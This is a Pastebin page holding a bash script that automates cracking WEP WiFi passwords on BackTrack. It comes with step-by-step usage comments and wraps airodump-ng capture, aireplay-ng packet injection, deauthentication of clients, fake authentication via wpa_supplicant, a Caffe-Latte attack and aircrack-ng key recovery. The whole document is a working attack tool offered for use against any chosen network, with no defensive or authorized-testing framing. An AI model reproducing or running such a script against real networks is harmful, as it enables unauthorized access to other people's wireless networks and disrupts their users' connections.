Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- #
- # WiFi WEP Crack BackTrack bash script
- # by The Pirat. thepirat000@hotmail.com
- #
- # Use this script to easily execute the commands to crack a WEP WiFi password.
- # (airodump, aireplay, wpa_supplicant, aircrack, ...)
- #
- # HOW TO USE:
- # Start backtrack GUI and open a console
- # Make sure you have "Konsole" installed (apt-get install konsole)
- # Copy-paste this script to a new file i.e. WepCrack.sh
- # Give execution permission to this file: chmod +x WepCrack.sh
- # Execute the script in this file: ./WepCrack.sh
- #
- # Enter the Interface name (default is wlan0)
- # Enter the monitor name (default is mon0)
- # Wait for the monitor until you see the WiFi you want to crack in the list (is must be WEP)
- # Press CTRL+C
- #
- # Enter the channel where the network is working (or copy-paste it from the list)
- # Enter the MAC Address of the AP (or copy-paste the MAC from the list)
- # Enter the essid of the AP (the WiFi network name) (or copy-paste the name from the list)
- # Enter the name of the generated capture file (or press enter to use the essid as the file name)
- #
- # Now, the script will open 3 windows to:
- # - Capture the network packages (airodump)
- # - Fake an authentication (wpa_supplicant)
- # - Inject packages
- # And also you will see the main window with options to execute more commands.
- #
- # When you have captured enough packages, select the command 4 (Aircrack) to launch the WiFi password crack process.
- #
- # NOTES:
- # You can abort the process at any moment by pressing CTRL+C and relaunch the script later, without losing the previous captured packages.
- # Tested in backtrack versions 4 and 5
- function Airodump {
- #Capture packages
- if [ $1="kill" ]
- then
- killall airodump-ng
- fi
- konsole --noclose -T Airodump -e airodump-ng $INTMON -w $ARCH --bssid $MAC --ivs -c $ch &
- }
- function StartMonitor {
- airmon-ng stop $INTMON
- airmon-ng start $INT $ch
- }
- function StopMonitor {
- killall wpa_supplicant
- killall dhclient
- airmon-ng stop $INT
- airmon-ng stop $INTMON
- }
- function Inject {
- if [ $1="kill" ]
- then
- killall aireplay-ng
- fi
- konsole --noclose -T Inject -e aireplay-ng -3 -b $MAC $INTMON &
- }
- function Fakeauth {
- #fakeauth with wpa_supplicant, making config file
- if [ $1="kill" ]
- then
- killall wpa_supplicant
- fi
- echo -e "network={\n\tssid=\"$essid\"\n\tkey_mgmt=NONE\n\twep_key0=\"fakeauth\"\n}">$DIR/wpa.conf
- konsole --noclose -T fakeauth -e wpa_supplicant -c$DIR/wpa.conf -Dwext -i$INT &
- }
- function Deauth {
- konsole --noclose -T Deauth -e aireplay-ng -0 1 -a $MAC $INTMON &
- }
- function CaffeLatte {
- konsole --noclose -T CaffeLatte -e aireplay-ng -6 $INTMON -e $essid &
- }
- function Aircrack {
- konsole --noclose -T Aircrack -e aircrack-ng $ARCH*.ivs &
- }
- DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
- echo -e "Enter WiFi Interface name: (Default: wlan0) "
- read INT
- if [ ! "$INT" ]
- then
- INT="wlan0"
- fi
- echo -e "Enter Monitor name: (Default: mon0) "
- read INTMON
- if [ ! "$INTMON" ]; then
- INTMON="mon0"
- fi
- StopMonitor
- airmon-ng start $INT
- airodump-ng $INTMON
- echo -e "Enter Channel: "
- read ch
- echo -e "Enter AP MAC Address: "
- read MAC
- echo -e "Enter AP essid (network name): "
- read essid
- echo -e "Enter capture filename: (Default: $essid.ivs) "
- read ARCH
- if [ ! "$ARCH" ]; then
- ARCH="$essid"
- fi
- ARCH="$DIR/$ARCH"
- StartMonitor
- Airodump
- Inject
- sleep 1
- Fakeauth "kill"
- while [ 1=1 ]; do
- clear
- echo -e "Select an option. ./ThePirat-2012\."
- echo -e "0) Launch deauth (aireplay-ng -0)"
- echo -e "1) Launch Airodump (Packages capture)"
- echo -e "2) Launch inyeccion (aireplay-ng -3)"
- echo -e "3) Launch Fakeauth (wpa_supplicant)"
- echo -e "4) Launch Aircrack"
- echo -e "5) Launch Caffe-Latte (aireplay-ng -6)"
- echo -e "*) Exit"
- read opcion
- case $opcion in
- 0) Deauth;;
- 1) Airodump;;
- 2) Inject;;
- 3) Fakeauth;;
- 4) Aircrack;;
- 5) CaffeLatte;;
- *) StopMonitor
- exit;;
- esac
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement